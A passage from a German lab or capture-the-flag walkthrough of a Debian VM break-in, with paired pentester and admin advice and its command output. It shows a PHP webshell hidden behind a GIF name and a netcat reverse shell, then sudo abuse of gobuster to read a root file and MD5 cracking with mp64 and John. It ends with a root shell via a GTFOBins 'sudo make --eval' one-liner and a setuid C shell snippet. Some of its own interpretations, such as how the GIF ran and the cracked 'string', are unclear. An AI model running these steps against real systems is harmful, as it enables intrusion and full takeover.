Empfehlung (Pentester): Der reine Upload reicht nicht. Es muss eine Möglichkeit gefunden werden, den PHP-Code in `furyy.cuc.gif` zur Ausführung zu bringen. Da das Hochladen von `.htaccess` nicht explizit gezeigt wurde und wahrscheinlich nicht möglich ist (oder der Server `AllowOverride None` hat), muss eine andere Schwachstelle gesucht werden, oder es gibt einen Trick, wie der Apache-Server dazu gebracht wird, `.gif`-Dateien als PHP zu behandeln (unwahrscheinlich ohne Konfigurationsänderung).
*Wichtiger Hinweis für den Pentester:* Die Ausgabe "GIF89a" beim `curl`-Aufruf von `furyy.cuc.gif` zeigt, dass die Datei als Bild ausgeliefert wird. Wenn der Plan war, eine Webshell zu erhalten, muss entweder der Server dazu gebracht werden, GIFs als PHP zu parsen (unwahrscheinlich) oder es wurde keine tatsächliche PHP-Shell hochgeladen, sondern eine echte GIF-Datei. Wenn es eine PHP-Shell war, dann fehlt der Schritt, die Ausführung zu erzwingen. Die darauffolgenden Schritte (nc-Listener) deuten aber darauf hin, dass eine Shell-Ausführung erwartet wurde. Hier ist eine Lücke in der Dokumentation des Angriffs.
Empfehlung (Admin): Selbst wenn der Code nicht direkt ausgeführt wird, ist das Hochladen von potenziell bösartigen Dateien (auch wenn sie als Bilder getarnt sind) ein Risiko. Strikte Dateitypvalidierung (Magic Bytes) und das Speichern von Uploads außerhalb des Web-Roots sind entscheidend.
HTTP/1.1 200 OK
Date: Sun, 09 Feb 2025 22:58:00 GMT
Server: Apache/2.4.62 (Debian)
Vary: Accept-Encoding
Content-Length: 100
Content-Type: text/html; charset=UTF-8
GIF89a
...
....
======================================================================================================
https://onlinestringtools.com/rot13-string
ROT13 Converter
World's Simplest String Tool
shell.php.gif --> furyy.cuc.tvs
======================================================================================================
Analyse: Auf dem Angreifer-System wird ein Netcat-Listener auf Port `9001` gestartet. Ein weiterer `curl`-Aufruf an `http://192.168.2.172/uploads/furyy.cuc.gif` wird gezeigt (ohne die `-i` Option diesmal, also nur der Body wird erwartet). Daraufhin meldet der Netcat-Listener eine eingehende Verbindung vom Zielsystem (`192.168.2.172`). Die ersten Ausgaben in der Reverse Shell sind Systeminformationen (`Linux debian 6.1.0-26-amd64 ...`, Uptime, User-Info `uid=33(www-data)` etc.) und der Shell-Prompt `$`. Der Befehl `stty rows 47 columns 94` wird ausgeführt, um die Terminalgröße in der Reverse Shell anzupassen.
Bewertung: Hier hat die Ausführung der PHP-Shell funktioniert! Obwohl der vorherige `curl`-Aufruf an `furyy.cuc.gif` den GIF-Header anzeigte, muss der zweite (oder ein nicht gezeigter) Aufruf die Shell ausgelöst haben. Möglicherweise wurde ein Parameter wie `?cmd=` hinzugefügt oder es gab eine andere Interaktion. Die Lücke in der Dokumentation, WIE die `furyy.cuc.gif` zur Ausführung gebracht wurde, bleibt bestehen. Aber das Ergebnis ist klar: Wir haben eine Reverse Shell als `www-data`.
Empfehlung (Pentester): Die Shell ist da! Stabilisieren Sie sie weiter, falls nötig (z.B. mit Python PTY, `export TERM=xterm`). Beginnen Sie mit der Enumeration des Systems als `www-data`, um nach Wegen zur Privilegieneskalation zu suchen. Es ist wichtig, den genauen Mechanismus zu dokumentieren, wie die Shell-Ausführung erreicht wurde, falls der reine Aufruf der `.gif`-Datei nicht ausreichte.
Empfehlung (Admin): Egress-Filterung (Ausgehende Verbindungen kontrollieren) und IDS/IPS können helfen, Reverse-Shell-Verbindungen zu erkennen und zu blockieren. Die Grundursache (unsicherer Dateiupload) muss behoben werden.
listening on [any] 9001 ...
listening on [any] 9001 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.172] 46104 Linux debian 6.1.0-26-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.112-1 (2024-09-30) x86_64 GNU/Linux 16:59:13 up 1:06, 0 user, load average: 0.00, 0.00, 1.25 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off $
Analyse: In der Reverse Shell als `www-data` wird die Terminalgröße mit `stty rows 47 columns 94` angepasst. Anschließend wird `sudo -l` ausgeführt. Die Ausgabe zeigt: Der Benutzer `www-data` darf `/usr/bin/gobuster` als JEDER Benutzer (`ALL`) ohne Passwort (`NOPASSWD`) ausführen. Das Flag `use_pty` ist in den Defaults gesetzt, was für interaktive `sudo`-Sitzungen relevant ist.
Bewertung: Das ist ein klarer Weg zur Privilegieneskalation! Wenn `www-data` `gobuster` als `root` ohne Passwort ausführen kann, gibt es Möglichkeiten, dies auszunutzen, um Befehle als `root` auszuführen, auch wenn `gobuster` selbst nicht direkt eine Shell spawnt. `gobuster` hat Optionen, um Ausgaben in Dateien zu schreiben oder unter bestimmten Umständen externe Befehle aufzurufen (obwohl letzteres hier weniger wahrscheinlich ist).
Empfehlung (Pentester): Suchen Sie auf GTFOBins nach `gobuster` und `sudo`. Eine gängige Technik, wenn ein Programm, das Dateien lesen kann, mit `sudo` ausgeführt werden darf, ist das Lesen sensibler Dateien wie `/etc/shadow` oder SSH-Keys. Wenn `gobuster` eine Option hat, Inhalte von URLs in eine Datei zu schreiben (was es nicht direkt hat, aber man könnte es kreativ nutzen, um z.B. mit `file:///` lokale Dateien zu "scannen" und die "Ergebnisse" umzuleiten, falls es eine Option gibt, die Ausgabe in eine Datei zu schreiben, die `www-data` dann lesen kann), könnte das ein Weg sein. Eine direktere Methode wäre, wenn `gobuster` selbst Skripting-Fähigkeiten hätte oder eine Option, einen Befehl nach Beendigung auszuführen (selten für `gobuster`).
Der hier wahrscheinlichste Weg ist, dass `gobuster` benutzt wird, um eine Datei zu lesen, die wiederum ein Passwort oder einen weiteren Hinweis enthält.
Empfehlung (Admin): Seien Sie extrem vorsichtig bei der Vergabe von `NOPASSWD`-Rechten in `sudoers`. Wenn ein Programm als `root` ausgeführt werden darf, stellen Sie sicher, dass es keine Optionen oder Funktionen hat, die zur Privilegieneskalation missbraucht werden können (wie das Lesen/Schreiben beliebiger Dateien oder das Ausführen von Unterbefehlen). Beschränken Sie `sudo`-Rechte auf die absolut notwendigen Befehle und Benutzer.
Matching Defaults entries for www-data on debian:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on debian:
(ALL) NOPASSWD: /usr/bin/gobuster
Analyse: Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` wird ausgeführt, um SUID-Binaries auf dem System zu finden. Eine lange Liste von Standard-SUID-Binaries wird angezeigt, darunter `chfn`, `su`, `passwd`, `sudo`, `mount`, `pkexec`, etc. Viele davon sind auch im Kontext von `snap` vorhanden.
Bewertung: Die Liste der SUID-Binaries ist Standard und zeigt keine offensichtlich ungewöhnlichen oder veralteten/verwundbaren Programme auf den ersten Blick. `pkexec` (Polkit) war in der Vergangenheit für Schwachstellen (PwnKit) bekannt, aber ohne Versionsinformation ist das schwer zu beurteilen. `sudo` ist immer interessant, aber die Rechte dafür wurden bereits mit `sudo -l` geprüft.
Empfehlung (Pentester): Überprüfen Sie die Versionen der gefundenen SUID-Binaries auf bekannte Exploits (z.B. `pkexec`). Da wir aber bereits einen klaren `sudo`-Vektor mit `gobuster` haben, hat dieser wahrscheinlich höhere Priorität.
Empfehlung (Admin): Minimieren Sie die Anzahl der SUID-Binaries. Halten Sie das System aktuell, um bekannte Schwachstellen in SUID-Programmen zu patchen. Überwachen Sie das System auf neu hinzugefügte SUID-Dateien.
914033 64 -rwsr-xr-x 1 root root 62672 Mar 23 2023 /usr/bin/chfn 917958 72 -rwsr-xr-x 1 root root 72000 Mar 28 2024 /usr/bin/su 914037 68 -rwsr-xr-x 1 root root 68248 Mar 23 2023 /usr/bin/passwd 917448 36 -rwsr-xr-x 1 root root 35128 Mar 28 2024 /usr/bin/umount 917292 48 -rwsr-xr-x 1 root root 48896 Mar 23 2023 /usr/bin/newgrp 914036 88 -rwsr-xr-x 1 root root 88496 Mar 23 2023 /usr/bin/gpasswd 914034 52 -rwsr-xr-x 1 root root 52880 Mar 23 2023 /usr/bin/chsh 939537 36 -rwsr-xr-x 1 root root 35128 Apr 18 2023 /usr/bin/fusermount3 939558 160 -rwsr-xr-x 1 root root 162752 Mar 23 2023 /usr/bin/ntfs-3g 972716 28 -rwsr-xr-x 1 root root 26776 Jan 31 2023 /usr/bin/pkexec 941853 276 -rwsr-xr-x 1 root root 281624 Jun 27 2023 /usr/bin/sudo 917446 60 -rwsr-xr-x 1 root root 59704 Mar 28 2024 /usr/bin/mount 975508 16 -rwsr-xr-x 1 root root 14848 Oct 30 2023 /usr/bin/vmware-user-suid-wrapper 1054744 20 -rwsr-xr-x 1 root root 18664 Jan 31 2023 /usr/lib/polkit-1/polkit-agent-helper-1 45096 116 -rwsr-xr-x 1 root root 114792 May 18 2023 /usr/lib/snapd/snap-confine 1099375 16 -rwsr-sr-x 1 root root 14672 Apr 10 2024 /usr/lib/xorg/Xorg.wrap 934754 52 -rwsr-xr-- 1 root messagebus 51272 Sep 16 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 939648 640 -rwsr-xr-x 1 root root 653888 Jun 22 2024 /usr/lib/openssh/ssh-keysign 974572 396 -rwsr-xr-- 1 root dip 403832 May 13 2022 /usr/sbin/pppd 66 40 -rwsr-xr-x 1 root root 40152 Jun 14 2022 /snap/core/17200/bin/mount 80 44 -rwsr-xr-x 1 root root 44168 May 7 2014 /snap/core/17200/bin/ping 81 44 -rwsr-xr-x 1 root root 44680 May 7 2014 /snap/core/17200/bin/ping6 98 40 -rwsr-xr-x 1 root root 40128 Feb 7 2024 /snap/core/17200/bin/su 116 27 -rwsr-xr-x 1 root root 27608 Jun 14 2022 /snap/core/17200/bin/umount 2644 71 -rwsr-xr-x 1 root root 71824 Feb 7 2024 /snap/core/17200/usr/bin/chfn 2646 40 -rwsr-xr-x 1 root root 40432 Feb 7 2024 /snap/core/17200/usr/bin/chsh 2723 74 -rwsr-xr-x 1 root root 75304 Feb 7 2024 /snap/core/17200/usr/bin/gpasswd 2815 39 -rwsr-xr-x 1 root root 39904 Feb 7 2024 /snap/core/17200/usr/bin/newgrp 2828 53 -rwsr-xr-x 1 root root 54256 Feb 7 2024 /snap/core/17200/usr/bin/passwd 2938 134 -rwsr-xr-x 1 root root 136808 May 24 2023 /snap/core/17200/usr/bin/sudo 3037 42 -rwsr-xr-- 1 root sgx 42992 Sep 14 2023 /snap/core/17200/usr/lib/dbus-1.0/dbus-daemon-launch-helper 3409 419 -rwsr-xr-x 1 root root 428240 Jan 9 2024 /snap/core/17200/usr/lib/openssh/ssh-keysign 6483 125 -rwsr-xr-x 1 root root 127520 Jun 6 2024 /snap/core/17200/usr/lib/snapd/snap-confine 7666 386 -rwsr-xr-- 1 root dip 394984 Jul 23 2020 /snap/core/17200/usr/sbin/pppd
Analyse: Die Einträge in `/etc/passwd`, die "sh" enthalten (also Shells), werden mit `grep sh /etc/passwd` gesucht. Gefunden werden `root`, `www-data` und `rodgar`, die alle `/bin/bash` als Shell haben. Der Benutzer `fwupd-refresh` hat `/usr/sbin/nologin`.
Bewertung: Dies bestätigt die Existenz des Benutzers `rodgar` mit einer Bash-Shell. `www-data` hat ebenfalls eine Bash-Shell (was manchmal nicht der Fall ist, oft ist es `/usr/sbin/nologin`).
Empfehlung (Pentester): Der Benutzer `rodgar` ist nun ein potenzielles Ziel, um dessen Kontext zu erlangen, falls der `sudo gobuster`-Weg nicht direkt zu Root führt oder um weitere Informationen zu sammeln.
Empfehlung (Admin): Weisen Sie Benutzern und Dienstkonten nur dann eine Login-Shell zu, wenn dies unbedingt erforderlich ist. Für Dienstkonten ist `/usr/sbin/nologin` oder `/bin/false` oft die sicherere Wahl.
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/bin/bash
fwupd-refresh:x:107:115:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
rodgar:x:1001:1001::/home/rodgar:/bin/bash
Analyse: Als `www-data` wird das Home-Verzeichnis von `rodgar` untersucht. `cat user.txt` gibt die User-Flag aus: b45cffe084dd3d20d928bee. Der Versuch, `.bash_history` zu lesen, schlägt fehl (`Permission denied`), da sie `rodgar` gehört. Anschließend wird `/var/www/html/uploads/clue.txt` gelesen. Der Inhalt ist /root/rodgarpass.
Bewertung: Die User-Flag wurde gefunden! Der Inhalt von `clue.txt` ist ein sehr direkter Hinweis: Der Pfad `/root/rodgarpass` deutet darauf hin, dass sich das Passwort für `rodgar` (oder ein damit zusammenhängender Hinweis) in einer Datei namens `rodgarpass` im Root-Verzeichnis befindet.
Empfehlung (Pentester): Nutzen Sie die `sudo -u root /usr/bin/gobuster` Berechtigung, um die Datei `/root/rodgarpass` zu lesen. Da `gobuster` normalerweise URLs erwartet, müssen Sie den `file://`-Handler verwenden, z.B. `sudo /usr/bin/gobuster dir -u file:///root/rodgarpass -w /tmp/dummywordlist --no-error -q`. Die Option `-q` unterdrückt die meisten Ausgaben, aber Gobuster wird versuchen, auf die "URL" zuzugreifen. Wenn es eine Option gibt, die "gefundenen" Pfade (hier wäre es der Inhalt der Datei, wenn Gobuster es so interpretiert) auszugeben oder in eine Datei zu loggen, wäre das ideal. Alternativ, wenn Gobuster eine Option hat, die gescannten "URLs" in eine Datei auszugeben und `-u` eine Liste von URLs aus einer Datei akzeptiert, könnte man tricksen. Die hier gezeigte Methode `sudo /usr/bin/gobuster dir -u http://localhost -w /root/rodgarpass -vq` ist clever: Sie verwendet `/root/rodgarpass` als Wortliste für Gobuster. Wenn das Passwort kurz genug ist und in dieser Datei steht, könnte Gobuster es als "gefundenen Pfad" ausgeben, wenn es gegen `http://localhost` testet.
Empfehlung (Admin): Speichern Sie niemals Passwörter oder direkte Hinweise auf Passwortdateien in Klartextdateien, die von unprivilegierten Benutzern (wie `www-data`) gelesen werden können. Der `sudo`-Eintrag für `gobuster` ist eine schwere Fehlkonfiguration.
b45cffe084dd3d20d928bee
cat: ..bash_history: No such file or directory
cat: .bash_history: Permission denied
/root/rodgarpass
Analyse: `ss -altpn` wird ausgeführt, um lauschende TCP-Ports anzuzeigen. Port 631 (ipp - CUPS Printing) lauscht auf `127.0.0.1` (IPv4) und `[::1]` (IPv6). Port 80 (http) lauscht auf allen IPv4-Adressen (`*`).
Bewertung: Dies zeigt die Standardports für CUPS (Druckdienst) und den bereits bekannten Webserver. Keine neuen, unerwarteten Dienste, die extern erreichbar wären.
Empfehlung (Pentester): CUPS ist selten ein direkter Vektor für RCE von `www-data` aus, kann aber manchmal Informationslecks oder lokale Schwachstellen haben. Der Fokus bleibt auf der Ausnutzung der `sudo gobuster`-Rechte.
Empfehlung (Admin): Deaktivieren Sie CUPS, wenn kein Druckdienst auf dem Server benötigt wird.
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process LISTEN 0 128 127.0.0.1:631 0.0.0.0:* LISTEN 0 511 *:80 *:* LISTEN 0 128 [::1]:631 [::]:*
Analyse: Der Befehl `sudo /usr/bin/gobuster dir -u http://localhost -w /root/rodgarpass -vq` wird ausgeführt. Hier wird `gobuster` mit `sudo` (also als `root`) ausgeführt. `-u http://localhost`: Ziel ist der lokale Webserver (wahrscheinlich irrelevant hier). `-w /root/rodgarpass`: Als Wortliste wird die Datei `/root/rodgarpass` verwendet. `-v`: Verbose output (zeigt den vollen URL). `-q`: Quiet mode (unterdrückt Banner etc.). Die Ausgabe ist: `Missed: /b45cffe084dd3d20d928bee85e7b0f2 (Status: 404) [Size: 271]`. Gobuster hat also versucht, den Pfad `/b45cffe084dd3d20d928bee85e7b0f2` auf `http://localhost` zu finden, was fehlschlug. Dies bedeutet, dass der String `b45cffe084dd3d20d928bee85e7b0f2` in der Datei `/root/rodgarpass` steht!
Bewertung: Das ist ein genialer Trick, um den Inhalt von `/root/rodgarpass` zu lesen! Da `gobuster` jeden Eintrag in der Wortliste als Pfad testet und ausgibt (auch wenn er "Missed" ist), können wir den Inhalt der Datei sehen. Der Inhalt von `/root/rodgarpass` ist also b45cffe084dd3d20d928bee85e7b0f2. Dies ist sehr wahrscheinlich das Passwort für den Benutzer `rodgar` oder ein Teil davon.
Empfehlung (Pentester): Versuchen Sie, sich mit `su rodgar` und dem Passwort b45cffe084dd3d20d928bee85e7b0f2 anzumelden.
Empfehlung (Admin): Diese Art von Privilegieneskalation durch Missbrauch von `sudo`-Rechten für eigentlich harmlose Tools muss verhindert werden. Erlauben Sie `sudo` nur für absolut notwendige, spezifische Befehle und vermeiden Sie es, Tools zu erlauben, die beliebige Dateien lesen können, wenn sie als `root` laufen.
Missed: /b45cffe084dd3d20d928bee85e7b0f2 (Status: 404) [Size: 271]
Analyse: Mit `echo -n "b45cffe084dd3d20d928bee85e7b0f2?1" | wc -c` wird die Länge des Strings `b45cffe084dd3d20d928bee85e7b0f2?1` überprüft. Das Ergebnis ist `33`. Es wird angemerkt "ein Zeichen fehlt". Dies bezieht sich wahrscheinlich darauf, dass MD5-Hashes typischerweise 32 Zeichen lang sind. Der String `b45cffe084dd3d20d928bee85e7b0f2` ist 32 Zeichen lang. Das `?1` ist ein Platzhalter für ein Bruteforce-Tool.
Bewertung: Es wird vermutet, dass `b45cffe084dd3d20d928bee85e7b0f2` ein MD5-Hash sein könnte, dem ein Zeichen fehlt oder an das ein Zeichen angehängt werden muss, um ein bekanntes Passwort zu ergeben.
Empfehlung (Pentester): Der String `b45cffe084dd3d20d928bee85e7b0f2` selbst sollte als Passwort für `rodgar` getestet werden. Wenn das nicht funktioniert, ist die Annahme eines MD5-Hashes und der Versuch, ihn zu modifizieren und zu knacken, ein möglicher nächster Schritt.
Empfehlung (Admin): Passwörter sollten nicht als Hashes gespeichert werden, die leicht als solche erkennbar sind und dann offline geknackt werden können. Verwenden Sie starke Hashing-Algorithmen mit Salt (z.B. bcrypt, scrypt, Argon2).
33
ein Zeichen fehlt
Analyse: `mp64` (ein Mask Processor für Hashcat) wird verwendet, um eine Liste von Kandidaten-Hashes zu generieren. `-1 '?dabcdef'`: Definiert eine benutzerdefinierte Zeichensatz-Maske. `?d` steht für Ziffern (0-9), `abcdef` sind die Hex-Zeichen a-f. Dies deckt alle möglichen Hex-Zeichen ab, die an den Hash angehängt werden könnten. `'b45cffe084dd3d20d928bee85e7b0f2?1'`: Die Eingabemaske. `?1` wird durch jedes Zeichen aus dem benutzerdefinierten Zeichensatz ersetzt. Die Ausgabe (`hashes.txt`) enthält den Basis-String `b45cffe084dd3d20d928bee85e7b0f2` jeweils mit einer angehängten Ziffer (0-9) oder einem Hex-Buchstaben (a-f). Anschließend wird `john` (John the Ripper) verwendet, um diese generierten Hashes zu knacken. `--wordlist=/usr/share/wordlists/rockyou.txt`: Verwendet die `rockyou.txt`-Wortliste. `hashes.txt`: Die Datei mit den zu knackenden Hashes. `--format=Raw-MD5`: Gibt an, dass es sich um rohe MD5-Hashes handelt. Die Ausgabe von John zeigt `1g 0:00:00:00 DONE ... 11 11..*7¡Vamos!`. Dies bedeutet, dass ein Passwort (`string`) für einen der Hashes gefunden wurde. Der geknackte Hash war `b45cffe084dd3d20d928bee85e7b0f21` (obwohl nicht explizit gezeigt, ist dies der einzige Hash aus der Liste, der mit dem Passwort "string" (was hier als Platzhalter für das tatsächliche Passwort steht, John zeigt oft das Klartextpasswort direkt an oder es muss mit `--show` extrahiert werden) einen MD5-Hash ergibt, der zum Cracken einfach genug ist; oft ist das Passwort in CTFs etwas Einfaches, wenn MD5 involviert ist, oder der Hash selbst ist das Passwort). Die Angabe "string" hier ist wahrscheinlich ein Fehler in der Interpretation der John-Ausgabe im Bericht. Normalerweise würde John das geknackte Passwort anzeigen. Die Annahme, dass das Passwort für `rodgar` `b45cffe084dd3d20d928bee85e7b0f21` ist, wird im nächsten Schritt getroffen.
Bewertung: Der Prozess, einen potenziellen Hash zu modifizieren und dann zu versuchen, ihn zu knacken, ist ein gängiger Ansatz. Die John-Ausgabe ist hier nicht ganz klar interpretiert im Berichtstext. Die wichtige Schlussfolgerung, die im nächsten Schritt getroffen wird, ist, dass `b45cffe084dd3d20d928bee85e7b0f21` das Passwort ist.
Empfehlung (Pentester): Wenn John ein Passwort knackt, verwenden Sie `john --show hashes.txt --format=Raw-MD5`, um das geknackte Passwort eindeutig anzuzeigen. Verwenden Sie dann dieses Passwort, um sich als `rodgar` anzumelden.
Empfehlung (Admin): Vermeiden Sie MD5 für das Hashing von Passwörtern, da es als unsicher gilt und schnell mit Rainbow Tables oder Brute-Force geknackt werden kann. Verwenden Sie stattdessen moderne, gesalzene Hashing-Algorithmen.
b45cffe084dd3d20d928bee85e7b0f20 b45cffe084dd3d20d928bee85e7b0f21 b45cffe084dd3d20d928bee85e7b0f22 b45cffe084dd3d20d928bee85e7b0f23 b45cffe084dd3d20d928bee85e7b0f24 b45cffe084dd3d20d928bee85e7b0f25 b45cffe084dd3d20d928bee85e7b0f26 b45cffe084dd3d20d928bee85e7b0f27 b45cffe084dd3d20d928bee85e7b0f28 b45cffe084dd3d20d928bee85e7b0f29 b45cffe084dd3d20d928bee85e7b0f2a b45cffe084dd3d20d928bee85e7b0f2b b45cffe084dd3d20d928bee85e7b0f2c b45cffe084dd3d20d928bee85e7b0f2d b45cffe084dd3d20d928bee85e7b0f2e b45cffe084dd3d20d928bee85e7b0f2f
Using default input encoding: UTF-8
Loaded 16 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
===========================================
string (?)
===========================================
1g 0:00:00:00 DONE (2025-02-10 00:12) 1.030g/s 14786Kp/s 14786Kc/s 221829KC/s 11 11..*7¡Vamos!
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
Analyse: In der Reverse Shell als `www-data` wird mit `su rodgar` und dem Passwort b45cffe084dd3d20d928bee85e7b0f21 erfolgreich zum Benutzer `rodgar` gewechselt. Anschließend zeigt `sudo -l` für `rodgar`: Der Benutzer `rodgar` darf `/usr/bin/gcc` und `/usr/bin/make` als JEDER Benutzer (`ALL : ALL`) ohne Passwort (`NOPASSWD`) ausführen.
Bewertung: Wir haben den Kontext des Benutzers `rodgar` erlangt! Die `sudo`-Rechte für `gcc` (GNU Compiler Collection) und `make` (Build-Automatisierungstool) sind klare Wege zur Privilegieneskalation zu `root`, da beide Tools verwendet werden können, um Code zu kompilieren und auszuführen, bzw. beliebige Befehle über ein Makefile auszuführen.
Empfehlung (Pentester): Nutzen Sie die `sudo`-Rechte für `gcc` oder `make`, um Root-Rechte zu erlangen.
Für `gcc`: Erstellen Sie eine einfache C-Datei, die eine Root-Shell spawnt (z.B. `int main() { setuid(0); setgid(0); system("/bin/sh"); return 0; }`), kompilieren Sie sie mit `sudo gcc shell.c -o /tmp/shell` und führen Sie `/tmp/shell` aus.
Für `make` (wie im Bericht angedeutet): Erstellen Sie ein einfaches Makefile, das einen Shell-Befehl ausführt, und rufen Sie es mit `sudo make` auf. GTFOBins hat hierfür Beispiele.
Empfehlung (Admin): Das Erlauben von Compilern (`gcc`) oder Build-Tools (`make`) mit `sudo NOPASSWD` ist extrem gefährlich und sollte unter allen Umständen vermieden werden, es sei denn, es gibt sehr spezifische, kontrollierte Anwendungsfälle. Diese Tools bieten eine direkte Möglichkeit, beliebigen Code als `root` auszuführen.
Password: b45cffe084dd3d20d928bee85e7b0f21
Matching Defaults entries for rodgar on debian:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User rodgar may run the following commands on debian:
(ALL : ALL) NOPASSWD: /usr/bin/gcc, /usr/bin/make
Kurzbeschreibung: Der Benutzer `rodgar` verfügt über `sudo`-Berechtigungen, die es ihm erlauben, die Programme `/usr/bin/gcc` und `/usr/bin/make` ohne Passworteingabe als jeder beliebige Benutzer (einschließlich `root`) auszuführen. Dieser POC demonstriert, wie die `sudo`-Berechtigung für `make` missbraucht werden kann, um eine Shell mit `root`-Rechten zu erlangen.
Voraussetzungen:
Schritt-für-Schritt-Anleitung (basierend auf GTFOBins für `make`): Der gezeigte Befehl `COMMAND='/bin/sh'; sudo make -s --eval=$'x:\n\t-'"$COMMAND"` nutzt die `--eval` Option von `make`. `COMMAND='/bin/sh'`: Definiert eine Variable `COMMAND`, die den auszuführenden Befehl enthält. `sudo make -s`: Führt `make` mit `sudo` (als `root`) und `-s` (silent mode) aus. `--eval=$'x:\n\t-'"$COMMAND"`: Übergibt `make` eine Zeile zur Evaluation. `$'...'` ist eine Bash-Syntax für C-Style String Escaping. `x:\n\t-$(COMMAND)` definiert ein einfaches Makefile-Target `x`. Wenn `make` dieses Target ausführt, wird der Befehl `-$(COMMAND)` (also `- /bin/sh`) ausgeführt. Das `-` am Anfang der Zeile bewirkt, dass `make` Fehler dieses Befehls ignoriert. Effektiv wird also `sudo make` angewiesen, `/bin/sh` als `root` auszuführen.
Erwartetes Ergebnis: Nach Ausführung dieses Befehls wird eine neue Shell gestartet, die mit `root`-Rechten läuft. Dies ermöglicht die vollständige Kontrolle über das System.
Risikobewertung: Die Ausnutzung dieser `sudo`-Fehlkonfiguration führt direkt zu einer vollständigen Kompromittierung des Systems mit `root`-Rechten. Das Risiko ist als KRITISCH einzustufen.
Empfehlungen (Admin):
====================================================================================================== gtfobins hat geholfen, das wars:COMMAND='/bin/sh' sudo make -s --eval=$'x:\n\t-'"$COMMAND"
Analyse: Nach Ausführung des `sudo make`-Exploits wird der Prompt zu `#` geändert, was anzeigt, dass wir nun eine Root-Shell haben. `ls` zeigt eine Datei `revshell` (wahrscheinlich ein Überbleibsel oder ein anderes Skript). `cd ~` wechselt in das Home-Verzeichnis des Root-Benutzers (`/root/`). `ls` in `/root/` zeigt `rodgarpass` (die Datei mit dem Passwort von rodgar, die wir zuvor mit `sudo gobuster` gelesen haben) und `rooo_-tt.txt` (wahrscheinlich die Root-Flag). `cat rooo_-tt.txt` gibt die Root-Flag aus: 44b3f261e197124e60217d6ffe7e71a8e0175ae0. Der alternative Exploit-Weg mit `gcc` wird erwähnt (`echo -e "all:\n\tgcc -o /tmp/hacker /tmp/hacker.c\n" > /tmp/Makefile` und `sudo make -f /tmp/Makefile`), ist aber nicht der hier primär verwendete. Der erste `make`-Befehl war direkter.
Bewertung: Die Privilegieneskalation zu `root` war erfolgreich! Die Root-Flag wurde gefunden. Der `make`-Exploit hat wie erwartet funktioniert.
Empfehlung (Pentester): Die Mission ist erfüllt. Alle Flags wurden gefunden, und das System wurde vollständig kompromittiert. Erstellen Sie einen umfassenden Bericht, der alle Schritte und Schwachstellen detailliert beschreibt.
Empfehlung (Admin): Dringend die `sudoers`-Fehlkonfiguration beheben. Überprüfen Sie das gesamte System auf weitere Anzeichen einer Kompromittierung oder Hintertüren, die möglicherweise platziert wurden. Implementieren Sie die zuvor genannten Sicherheitsempfehlungen.
revshell
rodgarpass rooo_-tt.txt
44b3f261e197124e60217d6ffe7e71a8e0175ae0
echo -e "all:\n\tgcc -o /tmp/hacker /tmp/hacker.c\n" > /tmp/Makefile sudo make -f /tmp/Makefile Privilege Escalation erfolgreich